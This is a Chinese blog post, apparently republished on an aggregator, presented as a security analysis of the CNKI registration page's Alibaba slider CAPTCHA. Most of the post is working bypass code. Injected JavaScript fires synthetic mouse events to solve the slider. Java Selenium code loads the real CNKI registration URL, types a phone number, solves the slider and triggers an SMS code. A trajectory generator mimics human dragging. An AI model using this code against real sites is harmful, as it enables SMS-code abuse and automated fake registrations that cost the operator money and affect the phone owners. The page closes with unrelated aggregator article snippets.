【知網CNKI-注冊安全分析報告】

前言

由于網站注冊入口容易被黑客攻擊,存在如下安全問題:

  1. 暴力破解密碼,造成用戶信息泄露
  2. 短信盜刷的安全問題,影響業務及導致用戶投訴
  3. 帶來經濟損失,尤其是后付費客戶,風險巨大,造成虧損無底洞
    在這里插入圖片描述
    所以大部分網站及App 都采取圖形驗證碼或滑動驗證碼等交互解決方案, 但在機器學習能力提高的當下,連百度這樣的大廠都遭受攻擊導致點名批評, 圖形驗證及交互驗證方式的安全性到底如何? 請看具體分析

一、 知網CNKI PC 注冊入口

簡介:CNKI介紹,國家知識基礎設施(National Knowledge Infrastructure,NKI)的概念由世界銀行《1998年度世界發展報告》提出。1999年3月,以全面打通知識生產、傳播、擴散與利用各環節信息通道,打造支持全國各行業知識創新、學習和應用的交流合作平臺為總目標,中國知網CNKI啟動了中國知識基礎設施工程(China National Knowledge Infrastructure,CNKI),得到了全國學術界、教育界、出版界、圖書情報界的大力支持和密切配合。

在這里插入圖片描述

二、 安全性分析報告:

知網CNKI采用的是阿里的滑動條, 阿里的滑動條設計高度重視用戶體驗,但安全方面存在一定的設計缺陷,前端將密鑰顯示出來,造成一定程度的安全漏洞,上報后并未引起重視,漏洞依據存在。
在這里插入圖片描述

在這里插入圖片描述

三、 測試方法:

前端界面分析,這是阿里的滑動條,網上有一些的教學視頻,但形式都差不多,
阿里的滑動條有點像程咬金的三板斧,
1 檢測是否是 webdriver (有專門的文章怎么過檢)
2 滑動條檢測
在這里插入圖片描述

滑動條在頁面嵌JS 就能過去 
<script>(function () {'use strict';/*** 休眠* [url=home.php?mod=space&uid=952169]@Param[/url] time    休眠時間,單位秒* @param desc* @returns {Promise<unknown>}*/function sleep(time, desc) {return new Promise(resolve => {//sleepsetTimeout(() => {console.log(desc, time, 's')resolve(time)}, Math.floor(time * 1000))})}/*** 監測節點是否存在* @param selector    CSS選擇器* @param desc* @returns {Promise<unknown>}*/function obsHas(selector, desc) {return new Promise(resolve => {//obs nodelet timer = setInterval(() => {let target = document.querySelector(selector)if (!!target) {clearInterval(timer)console.log(desc, selector)resolve(selector)} else {return}}, 100)})}function slide(id) {var slider = document.getElementById(id),container = slider.parentNode;var rect = slider.getBoundingClientRect(),x0 = rect.x || rect.left,y0 = rect.y || rect.top,w = container.getBoundingClientRect().width,x1 = x0 + w,y1 = y0;var mousedown = document.createEvent("MouseEvents");mousedown.initMouseEvent("mousedown", true, true, window, 0,x0, y0, x0, y0, false, false, false, false, 0, null);slider.dispatchEvent(mousedown);var mousemove = document.createEvent("MouseEvents");mousemove.initMouseEvent("mousemove", true, true, window, 0,x1, y1, x1, y1, false, false, false, false, 0, null);slider.dispatchEvent(mousemove);}sleep(1,'sleep').then(() => obsHas('.nc_wrapper','has')).then(() => slide('nc_1_n1z'))
})();</script>

1. 模擬器交互

private static String INDEX_URL = "https://my.cnki.net/Register/CommonRegister.aspx";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);			// 輸入手機號By phoneBy = By.id("txtMobile");WebElement phoneElemet = ChromeDriverManager.waitElement(driver, phoneBy, 10);phoneElemet.sendKeys(phone);Thread.sleep(1 * 1000);AliClient.moveExec(driver, "nc_2_n1z", 300);// 點擊發送短信WebElement sendElemet = driver.findElement(By.id("smsbtn"));sendElemet.click();boolean isAlert = ChromeDriverManager.isAlertPresent(driver);if (isAlert) {driver.switchTo().defaultContent();Thread.sleep(1000);}Thread.sleep(1000);String gtInfo = driver.findElement(By.id("spansms_code")).getText();retEntity.setMsg(gtInfo);if (gtInfo.contains("驗證碼已發送")) {retEntity.setRet(0);} else {retEntity.setRet(-1);System.out.println("gtInfo=" + gtInfo);}return retEntity;} catch (Exception e) {System.out.println(e.toString());return null;}}

2. 模擬鼠標移動


public static boolean moveExec(WebDriver driver, String moveId, int distance) {try {// 獲取滑動按鈕WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.id(moveId), 100);Actions actions = new Actions(driver);actions.moveToElement(moveElemet).perform();Thread.sleep(500);List<Integer> trackList = ActionMove.getTrack(distance);actions.clickAndHold(moveElemet).perform();// 按住鼠標左鍵不釋放for (Integer moveInt : trackList) {actions.moveByOffset(moveInt, 0).perform();// 移動}actions.release(moveElemet).perform();// 釋放鼠標左鍵// 滑動結果By langCntBy = By.className("nc-lang-cnt");WebElement langCntElemet = ChromeDriverManager.waitElement(driver, langCntBy, 50);String langCntInfo = (langCntElemet != null) ? langCntElemet.getText() : null;if (langCntInfo != null && langCntInfo.contains("驗證通過")) {return true;} else {System.out.println("AliUtil.moveExec() langCntInfo=" + langCntInfo);return false;}} catch (Exception e) {System.out.println("AliClient.moveExec() e=" + e.toString());return false;}}

3. 軌跡生成(單軸通過)


/*** 根據距離獲取滑動軌跡* * @param distance需要移動的距離* @return*/public static List<Integer> getTrack(int distance) {List<Integer> track = new ArrayList<Integer>();// 移動軌跡List<Integer[]> list = getXyTrack(distance);for (Integer[] m : list) {track.add(m[0]);}return track;}/*** 雙軸軌道生成算法,主要實現平滑加速和減速* * @param distance* @return*/public static List<Integer[]> getXyTrack(int distance) {List<Integer[]> track = new ArrayList<Integer[]>();// 移動軌跡try {int a = (int) (distance / 3.0) + random.nextInt(10);int h = 0, current = 0;// 已經移動的距離BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 減速閾值BigDecimal move = null;// 每次循環移動的距離List<Integer[]> subList = new ArrayList<Integer[]>();// 移動軌跡boolean plus = true;Double t = 0.18, v = 0.00, v0;while (current <= distance) {h = random.nextInt(2);if (current > distance / 2) {h = h * -1;}v0 = v;v = v0 + a * t;move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速if (move.intValue() < 1)move = new BigDecimal(1L);if (plus) {track.add(new Integer[] { move.intValue(), h });} else {subList.add(0, new Integer[] { move.intValue(), h });}current += move.intValue();if (plus && current >= mid.intValue()) {plus = false;move = new BigDecimal(0L);v = 0.00;}}track.addAll(subList);int bk = current - distance;if (bk > 0) {for (int i = 0; i < bk; i++) {track.add(new Integer[] { -1, h });}}System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e) {System.out.print(e.toString());return null;}}

4. 測試返回結果:

在這里插入圖片描述

四丶結語

知網作為全國學術界、教育界、出版界、圖書情報界的共享平臺,打造是國家基礎設施,由于收費過高導致很多單位苦知網已經,名符其實的壟斷行業,賺的盆滿缽滿的, 按理技術實力雄厚,但在驗證產品方面,不是自己研發而是采用第三方的阿里的滑動條, 阿里的產品由于過度重視用戶體驗, 簡單的滑動條特別,模擬器只需要單軸的模擬軌道就可以通過, 說明阿里對軌跡的校驗比較寬松,之前的分析顯示,阿里主要是靠模擬器識別,如果這道關過了,就沒有其它的防護措施了 。

很多人在短信服務剛開始建設的階段,可能不會在安全方面考慮太多,理由有很多。
比如:“ 需求這么趕,當然是先實現功能啊 ”,“ 業務量很小啦,系統就這么點人用,不怕的 ” , “ 我們怎么會被盯上呢,不可能的 ”等等。

有一些理由雖然有道理,但是該來的總是會來的。前期欠下來的債,總是要還的。越早還,問題就越小,損失就越低。

所以大家在安全方面還是要重視。(血淋淋的栗子!)#安全短信#

戳這里→康康你手機號在過多少網站注冊過!!!

谷歌圖形驗證碼在AI 面前已經形同虛設,所以谷歌宣布退出驗證碼服務, 那么當所有的圖形驗證碼都被破解時,大家又該如何做好防御呢?

>>相關閱讀
《騰訊防水墻滑動拼圖驗證碼》
《百度旋轉圖片驗證碼》
《網易易盾滑動拼圖驗證碼》
《頂象區域面積點選驗證碼》
《頂象滑動拼圖驗證碼》
《極驗滑動拼圖驗證碼》
《使用深度學習來破解 captcha 驗證碼》
《驗證碼終結者-基于CNN+BLSTM+CTC的訓練部署套件》

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/42938.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/42938.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/42938.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

dockerfile里的copy只能使用相對路徑嗎?

在 Dockerfile 中&#xff0c;COPY 指令既可以使用相對路徑&#xff0c;也可以使用絕對路徑&#xff08;但絕對路徑的使用方式和上下文有關&#xff09;。不過&#xff0c;在實踐中&#xff0c;你通常會看到使用相對路徑&#xff0c;因為 Dockerfile 的構建上下文&#xff08;b…

NewspaceGPT帶你玩系列之【Song Maker】

目錄 注冊一個賬號&#xff0c;用qq郵箱&#xff0c;然后登錄選一個可用的Plus&#xff0c;不要選3.5探索GPT今天的主角是【Song Maker】翻譯一下用漢語吧我寫詞。你譜曲和其他伴奏&#xff0c;例子&#xff1a; 搖滾&#xff0c;憂傷&#xff0c;吉他&#xff0c;鼓&#xff0…

聊一聊Oracle的空間計算函數SDO_NN

網上對這個函數介紹的很少&#xff0c;對使用上也很模糊&#xff0c;我來補充一下&#xff0c;讓大家了解一下這個函數 from test1 y, test2 p where SDO_NN(p.geom,y.geom,sdo_num_res1, 0.5 )TRUE; 上面這個表達式的含義也就是說在test2中找到一個距離test1很近的&#x…

Android約束布局的概念與屬性(1)

目錄 1&#xff0e;相對定位約束2&#xff0e;居中和偏移約束 約束布局&#xff08;ConstraintLayout&#xff09;是當前Android Studio默認的布局方式&#xff0c;也是最靈活的一種布局方式。約束布局推薦使用所見即所得的模式進行布局&#xff0c;約束布局的大部分布局可以通…

超詳細的 Linux 環境下 Anaconda 安裝與使用教程

超詳細的 Linux 環境下 Anaconda 安裝與使用教程 前言 在數據科學和機器學習領域&#xff0c;Anaconda 是一個非常受歡迎的發行版&#xff0c;提供了許多常用的包和工具。本文將詳細介紹如何在 Linux 系統上安裝和配置 Anaconda 環境&#xff0c;并展示如何高效地使用它。 一…

CentOS7下安裝Doris

Doris簡介 Apache Doris 是一款基于 MPP 架構的高性能、實時的分析型數據庫&#xff0c;以高效、簡單、統一的特點被人們所熟知&#xff0c;僅需亞秒級響應時間即可返回海量數據下的查詢結果&#xff0c;不僅可以支持高并發的點查詢場景&#xff0c;也能支持高吞吐的復雜分析場…

從0到1搭建個性化推送引擎:百數教學帶你掌握核心技術

百數低代碼的推送提醒功能允許用戶高度自定義提醒規則&#xff0c;支持多種提醒方式&#xff08;如釘釘、企業微信、微信、短信、語音、郵件等&#xff09;&#xff0c;以滿足不同場景下的需求。 通過預設字段和模板&#xff0c;用戶可以快速編輯提醒內容&#xff0c;減少重復…

BaseServlet的封裝

創建BaseServlet的必要性 如果不創建BaseServlet&#xff0c;現在我們只要實現一個功能&#xff0c;我們就需要創建一個servlet! 例如:用戶模塊(登錄&#xff0c;注冊&#xff0c;退出錄&#xff0c;激活&#xff0c;發送郵件等等功能) 也就是說&#xff0c;我們必須要創建一…

idea無法實力化id

解決&#xff1a;https://blog.csdn.net/qq_41264674/article/details/83409810?ops_request_misc&request_id&biz_id102&utm_termSerializable%E4%B8%8D%E8%87%AA%E5%8A%A8%E7%94%9F%E6%88%90%E5%AE%9E%E5%8A%9B%E5%8C%96id&utm_mediumdistribute.pc_search_…

java-數據結構與算法-02-數據結構-03-遞歸

1. 概述 定義 計算機科學中&#xff0c;遞歸是一種解決計算問題的方法&#xff0c;其中解決方案取決于同一類問題的更小子集 In computer science, recursion is a method of solving a computational problem where the solution depends on solutions to smaller instances…

IT項目經理轉行大模型,項目經理的進來,你想知道的都在這里非常詳細

大模型&#xff08;如人工智能、機器學習和深度學習模型&#xff09;可以通過提供數據驅動的決策支持、自動化流程和預測分析來賦能IT項目經理。這些工具可以幫助項目經理更有效地管理項目&#xff0c;預測潛在的風險&#xff0c;并提高項目成功的可能性。以下是IT項目經理如何…

IPD流程學習筆記

一、前言 互聯網行業講究的是快速試錯&#xff0c;所以IPD流程的應用并不多&#xff0c;但是傳統企業數字化轉型中&#xff0c;怎么確保項目投入可以切合市場需求&#xff0c;有較好的ROI及落地性&#xff0c;輕量級的IPD還是很有必要了解下的&#xff0c;特別是重資產類的業務…

探討大數據在視頻匯聚平臺LntonCVS國標GB28181協議中的應用

隨著攝像頭和視頻監控系統的普及和數字化程度的提高&#xff0c;視頻監控系統產生的數據量急劇增加。大數據技術因其優秀的數據管理、分析和利用能力&#xff0c;成為提升視頻監控系統效能和價值的重要工具。 大數據技術可以將視頻監控數據與其他數據源進行融合分析&#xff0c…

libaom 編碼器實驗 AV1 標準 SVC 分層編碼

SVC編碼 視頻SVC編碼&#xff0c;即Scalable Video Coding&#xff08;可適性視訊編碼或可分級視頻編碼&#xff09;&#xff0c;是H.264/MPEG-4 AVC編碼的一種擴展&#xff0c;它提供了更大的編碼彈性&#xff0c;并且具有時間可適性&#xff08;Temporal Scalability&#x…

單向鏈表的概念和結構

文章目錄 1.鏈表的概念及結構2.單鏈表的實現 1.鏈表的概念及結構 概念&#xff1a;鏈表是一種物理存儲結構上非連續、非順序的存儲結構&#xff0c;數據元素的邏輯順序是通過鏈表 中的指針鏈接次序實現的 。 鏈表的結構跟火車車廂相似&#xff0c;淡季時車次的車廂會相應減少&…

【基礎算法總結】分治—歸并

分治—歸并 1.排序數組2.交易逆序對的總數3.計算右側小于當前元素的個數4.翻轉對 點贊&#x1f44d;&#x1f44d;收藏&#x1f31f;&#x1f31f;關注&#x1f496;&#x1f496; 你的支持是對我最大的鼓勵&#xff0c;我們一起努力吧!&#x1f603;&#x1f603; 1.排序數組 …

NFTScan | 07.01~07.07 NFT 市場熱點匯總

歡迎來到由 NFT 基礎設施 NFTScan 出品的 NFT 生態熱點事件每周匯總。 周期&#xff1a;2024.07.01~ 2024.07.07 NFT Hot News 01/ 數據&#xff1a;Mad Lads 地板價回升至 100 SOL 上方&#xff0c;24 小時漲幅為 13.65% 7 月 1 日&#xff0c;據數據顯示&#xff0c;Solana…

ARM架構以及程序運行解析

文章目錄 1. ARM架構 2. ARM處理器程序運行的過程 3. 示例 3. 基于ARM架構的STM32單片機 1. 運行模式 2. 寄存器組 3. STM32的基本結構 4. STM32的運行模式 4. 寄存器組詳解 1. 未備份寄存器 2. 備份寄存器 3. 程序計數器 4. 程序狀態寄存器 5. CPSR和SPSR寄存器…

【Unity】UGUI的基本介紹

Unity的UGUI&#xff08;Unity User Interface&#xff09;是Unity引擎內自帶的UI系統&#xff0c;官方稱之為UnityUI&#xff0c;是目前Unity商業游戲開發中使用最廣泛的UI系統開發解決方案。以下是關于Unity的UGUI的詳細介紹&#xff1a; 一、UGUI的特點 靈活性&#xff1a…

Trick : 10^x 以內最多的因子數

Trick : 1 0 x 10^x 10x 以內最多的因子數 1 0 5 10^5 105 以內具有最多的因子數的數是 83160&#xff0c;它有 128 個因子 ; 1 0 6 10^6 106 以內具有最多因子數的數是 720720&#xff0c;它有 240 個因子 ; 所以遇到需要枚舉因子的&#xff0c;預處理之后大膽枚舉就可以&…